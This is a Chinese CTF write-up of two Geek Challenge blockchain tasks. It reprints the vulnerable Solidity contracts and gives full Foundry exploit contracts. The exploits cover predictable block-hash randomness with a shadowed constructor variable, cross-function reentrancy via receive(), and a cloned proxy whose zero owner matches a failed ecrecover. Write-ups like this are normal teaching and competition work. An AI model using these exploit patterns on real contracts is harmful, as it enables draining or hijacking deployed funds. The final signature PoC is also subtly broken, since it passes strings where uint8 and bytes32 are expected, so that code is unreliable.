极客大挑战 Misc-区块链 wp(Mixture,guess_signature)
这道题实际上是两道题,分别解完得到 flag 后紧密编码然后得到 sha256 哈希,套壳提交。
一个十分简单的伪随机数利用(篇幅不大,完整源码直接放这了):
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
contract easy {
mapping(address => bool) public flag;
uint256 random;
constructor(uint256 _random) {
uint256 random = _random;
}
function only_Member_Know_Secret(uint256 number) public returns (bool) {
uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
return number == random + (uint256(uint160(msg.sender)) + random_middle);
}
function get_your_flag(uint256 number) public returns (bool) {
require(only_Member_Know_Secret(number), "You cannot pass through here due to permission issues");
flag[msg.sender] = true;
return true;
}
function check(address addr) external view returns (bool) {
return flag[addr];
}
}
写一个攻击合约,按照其逻辑构造我们的输出。(这道题应该是出了点问题,在构造函数中 random发生了变量遮盖,状态变量 random没有成功赋值,按理来讲应该是要赋值的。我最开始想试试别的方法,直接区块链浏览器查构造函数参数,后来使用cast storage验证的时候发现竟然是0,意识到了发生了变量遮盖,而且后面那个合约犯了一样的毛病(?)
contract Hack1 {
// uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
// return number == random + (uint256(uint160(msg.sender)) + random_middle);
function getNumber() public view returns (uint256) {
uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
uint256 number = (uint256(uint160(address(this)))) + random_middle;
return number;
}
function attack(address _target) public {
easy target = easy(_target);
target.get_your_flag(getNumber());
require(target.check(address(this)), "easy Hack Failed.");
}
}
关于这个合约,最开始我认为是精度的问题,搞了半天发现,精度不会影响我们 ERC20 token 的数量。合约的逻辑也不是很多。后来我尝试传入超过我们余额的 amount,尝试 _burn来实现溢出,但是 openzeppelin 库这里是避免了溢出的。
问了下 gpt,gpt 说是重入(?)但是有重入锁,按理来讲不应该是重入(在这里我意识到了 receive)
实际上这道题的问题和重入漏洞的根本问题一样:状态变量的更新不及时。(跨函数重入)
主要问题在emergency_deal_with_your_token
函数中(完整源码放在最后)
function emergency_deal_with_your_token(uint256 amount) public nonReentrant returns (bool) {
this.transfer(msg.sender, 1 ether);
require(this.balanceOf(msg.sender) >= amount, "No money");
uint256 ten_percent = amount / 10;
if (address(this).balance <= amount * rate_from_this_token_to_ETH * ten_percent) {
payable(address(msg.sender)).call{value: payable(address(this)).balance}("");
} else {
payable(address(msg.sender)).call{value: amount * rate_from_this_token_to_ETH * ten_percent}("");
}
_burn(msg.sender, amount + 1 ether);
return true;
}
问题在于:5-9 行实际上有一步外部调用(触发 msg.sender
的 receive
函数)。
当我们的 ERC20 balance >1 时即可获得 flag,所以:如果我们在攻击合约的 receive
函数中调用 get_your_flag
函数,由于此时系统给我们的 token
还没有被 burn
,我们的 balance 是大于 1 的。
究其根本,漏洞的成因还是:状态变量的更新不及时导致的。
通过我们攻击合约的火焰图可以直观的看到这个过程:
在调用 emergency_deal_with_your_token
的过程中,首先协议给了我们 1 ether 的 token,然后合约计算,触发了 msg.sender
的 receive()
函数。此时接着执行 msg.sender:receive()
的逻辑。调用get_your_flag
完成题目。(因为此时没有 burn
系统给我们的 token)
contract Hack2 {
setup target;
constructor(address _target) {
target = setup(_target);
}
function pwn() external {
target.register();
target.emergency_deal_with_your_token(0);
require(target.check(address(this)), "contract2 Hack Failed");
}
receive() external payable {
target.get_your_flag(address(this));
}
}
完整 PoC:
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.24;
import {Script, console2} from "forge-std/Script.sol";
import {easy} from "../src/1.sol";
import {setup} from "../src/2.sol";
contract Attack is Script {
function run() external {
address contract1 = 0xA6c32E00CA2E1F9dD6F376c2C4B6290F786A3582;
address contract2 = 0x158018fB187206a7311b20c6b90057Fd54918ec2;
vm.startBroadcast();
Hack1 hack1 = new Hack1();
hack1.attack(contract1);
console2.log("Hack1 addr: ", address(hack1));
Hack2 hack2 = new Hack2(contract2);
hack2.pwn();
console2.log("Hack2 addr: ", address(hack2));
vm.stopBroadcast();
}
}
contract Hack1 {
// uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
// return number == random + (uint256(uint160(msg.sender)) + random_middle);
function getNumber() public view returns (uint256) {
uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
uint256 number = (uint256(uint160(address(this)))) + random_middle;
return number;
}
function attack(address _target) public {
easy target = easy(_target);
target.get_your_flag(getNumber());
require(target.check(address(this)), "easy Hack Failed.");
}
}
contract Hack2 {
setup target;
constructor(address _target) {
target = setup(_target);
}
function pwn() external {
target.register();
target.emergency_deal_with_your_token(0);
require(target.check(address(this)), "contract2 Hack Failed");
}
receive() external payable {
target.get_your_flag(address(this));
}
}
看题目名称和 hint,感觉这道题应该是围绕签名 signature 来展开的,看了源码发现也用到了 EIP1167 最小代理合约。 源码:
// guesssignature.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//address = 0x02C13DB057aA0162B705fd068aF04Fa75a6CC8E8
contract guesssignature {
address public owner;
mapping(address => bool) flag;
constructor() {
owner = msg.sender;
}
function verifySignature(string memory message, uint8 v, bytes32 r, bytes32 s) public {
bytes32 messageHash = keccak256(abi.encodePacked(message));
address recoveredAddress = ecrecover(messageHash, v, r, s);
if (recoveredAddress == owner) {
flag[msg.sender] = true;
}
}
function check(address add) external view returns (bool) {
return flag[add];
}
}
// VaultFactory.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/proxy/Clones.sol";
import "./guesssignature.sol";
//address = 0x9cB5b263528955041Bf5550912e7B8b1A7De97B5
contract VaultFactory {
address public immutable guess;
address proxy; // == 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e
uint256 a = 0;
bool target;
constructor() {
guess = address(new guesssignature());
}
//EIP1167最小代理合约
function createVault() external returns (address d) {
//只能部署一个最小代理合约,address = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e
require(a == 0, " ");
a++;
proxy = Clones.clone(guess);
return proxy;
}
function checkproxy() external view returns (address) {
return proxy;
}
function check(address addr) external view returns (bool) {
require(proxy != address(0), "Proxy address not set");
bytes memory payload = abi.encodeWithSignature("check(address)", addr);
(bool success, bytes memory returnData) = proxy.staticcall(payload);
require(success, "External call failed");
require(returnData.length == 32, "Unexpected return data size");
return abi.decode(returnData, (bool));
}
}
guesssignature
合约是由 VaultFactory
合约在构造函数中创建的,所以 guesssignature
的 owner
和 VaultFactory
合约的部署者相同,都是最开始的 EOA 账户(对于这道题来说,不重要)
VaultFactory
使用 openzeppelin 安全库的最小代理合约,为 guesssignature
创建了代理合约。这道题交互的 check()
函数是 VaultFactory
合约,而不是 guesssignature
合约。换句话说,我们的攻击逻辑应该是针对代理合约,而不是 guesssignature
合约。
关于最小代理合约(EIP1167):
这是因为:代理合约只是复制了实现合约的 runtimeCode
,不会执行构造函数。
所以现在的问题是:代理合约 owner == address(0)
,也就是说,我们现在只需让 ecrecover
还原出来的 owner
为零地址即可。
需要注意:
ecrecover
在尝试还原签名时出现错误时,会静默失败,不会导致调用回滚,而是还原出来的地址为0
地址。所以现在的问题就很简单了。我们只需随意构建一个签名(v
值需要为27
,这是以太坊的恢复标识符)
message: 任意字符串(因为我们只关心最终的签名验证) v: 27 r: 0x0000000000000000000000000000000000000000000000000000000000000000 s: 0x0000000000000000000000000000000000000000000000000000000000000000
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {VaultFactory} from "../src/VaultFactory.sol";
contract Attack is Script {
function run() external {
vm.startBroadcast();
Hack hack = new Hack();
hack.pwn();
vm.stopBroadcast();
}
}
contract Hack {
function pwn() external {
address proxy = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e;
(bool success,) = proxy.call(
abi.encodeWithSignature(
"verifySignature(string,uint8,bytes32,bytes32)",
"",
"27",
"0x0000000000000000000000000000000000000000000000000000000000000000",
"0x0000000000000000000000000000000000000000000000000000000000000000"
)
);
require(success, "verifySignature call failed");
require(VaultFactory(proxy).check(address(this)), "Hack Failed");
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!